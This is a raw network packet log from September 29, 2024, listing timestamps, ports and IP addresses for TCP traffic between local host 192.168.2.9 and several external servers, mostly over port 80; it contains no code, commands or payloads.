Sep 29, 2024 00:53:25.356024981 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.356025934 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.356031895 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.356046915 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.356069088 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.356086016 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.356086016 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.356091022 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.356097937 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.356122017 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.356137037 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.356167078 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.356173992 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.356178999 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.356221914 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.356230974 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.356236935 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.356241941 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.356259108 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.356265068 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.356282949 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.356317043 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.356332064 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.356338024 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.356359005 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.356364965 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.356370926 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.356380939 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.356411934 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.356446981 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.356453896 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.356458902 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.356467962 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.356479883 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.356486082 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.356491089 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.356502056 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.356506109 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.356508017 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.356540918 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.356549978 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.356597900 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.356605053 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.356650114 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.357144117 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.357150078 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.357156992 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.357209921 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.357264996 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.357270956 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.357275963 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.357281923 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.357287884 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.357316971 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.357336044 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.357964993 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.358042002 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.358072996 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.358086109 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.358093977 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.358094931 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.358097076 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.358100891 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.358108044 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.358128071 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.358150005 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.358163118 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.358189106 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.358195066 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.358201027 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.358211994 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.358217955 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.358242989 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.358248949 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.358252048 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.358261108 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.358268023 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.358273983 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.358285904 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.358288050 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.358293056 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.358300924 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.358304977 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.358309984 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.358323097 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.358326912 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.358328104 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.358355045 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.358355045 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.358362913 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.358371019 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.358372927 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.358403921 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.358458996 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.358464956 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.358478069 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.358510971 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.358521938 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.360933065 CEST	80	49705	45.91.200.135	192.168.2.9
Sep 29, 2024 00:53:25.372303009 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.372315884 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.372323990 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.372329950 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.372347116 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.372353077 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.372363091 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.372369051 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.372375965 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.372380972 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.372385979 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.372386932 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.372392893 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.372399092 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.372404099 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.372405052 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.372411966 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.372420073 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.372421980 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.372426987 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.372432947 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.372438908 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.372443914 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.372445107 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.372461081 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.372451067 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.372489929 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.372514009 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.376569986 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.376575947 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.376590014 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.376596928 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.376605988 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.376612902 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.376633883 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.376663923 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.376663923 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.376743078 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.376745939 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.376760006 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.376765013 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.376770973 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.376776934 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.376782894 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.376790047 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.376812935 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.376880884 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.376933098 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.376977921 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.377037048 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.377166033 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.377171993 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.377185106 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.377193928 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.377199888 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.377204895 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.377211094 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.377217054 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.377230883 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.377249002 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.377309084 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.381963968 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.381973028 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.381979942 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.381987095 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382018089 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.382039070 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.382097006 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382106066 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382112026 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382117033 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382129908 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382136106 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382149935 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382157087 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382163048 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382163048 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.382178068 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382188082 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382190943 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.382191896 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382204056 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.382245064 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.382544041 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382551908 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382559061 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382564068 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382570028 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382576942 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382582903 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382594109 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382600069 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.382601976 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382607937 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382623911 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.382651091 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.382664919 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.382675886 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382689953 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382697105 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382708073 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382714987 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382736921 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.382762909 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382776976 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382782936 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382793903 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382801056 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382807016 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382814884 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382824898 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382843018 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.382843018 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.382843018 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.382874012 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382875919 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.382879972 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382885933 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382898092 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382905960 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382920980 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382926941 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382941008 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382945061 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.382960081 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.382960081 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.382989883 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.383116007 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.383218050 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.383223057 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.383223057 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.383229971 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.383236885 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.383243084 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.383249998 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.383259058 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.383276939 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.383291960 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.383322001 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.383445024 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.383450031 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.383456945 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.383464098 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.383469105 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.383476019 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.383488894 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.383502007 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.383533955 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.383533955 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.383800030 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.383805990 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.383825064 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.383882999 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.383919954 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.383927107 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.383934021 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.383945942 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.383953094 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.383958101 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.384036064 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.384036064 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.384047985 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.384054899 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.384063005 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.384074926 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.384136915 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.384160995 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.384166956 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.384174109 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.384180069 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.384186983 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.384193897 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.384252071 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.384252071 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.384252071 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.384283066 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.384289980 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.384295940 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.384301901 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.384308100 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.384314060 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.384325981 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.384331942 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.384336948 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.384340048 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.384346008 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.384363890 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.384371996 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.384388924 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.384388924 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.384388924 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.384419918 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.384670019 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.384675026 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.384680986 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.384686947 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.384692907 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.384699106 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.384705067 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.384711981 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.384738922 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.384738922 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.384777069 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.387437105 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387443066 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387449980 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387459040 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387469053 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387478113 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387484074 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387490034 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387506962 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.387533903 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387547016 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.387547970 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387547016 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.387557030 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387562990 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387569904 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387576103 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.387602091 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.387624025 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.387720108 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387736082 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387741089 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387746096 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387752056 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387758017 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387763023 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387783051 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.387784004 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.387801886 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387804031 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.387809038 CEST	80	49710	103.130.147.211	192.168.2.9
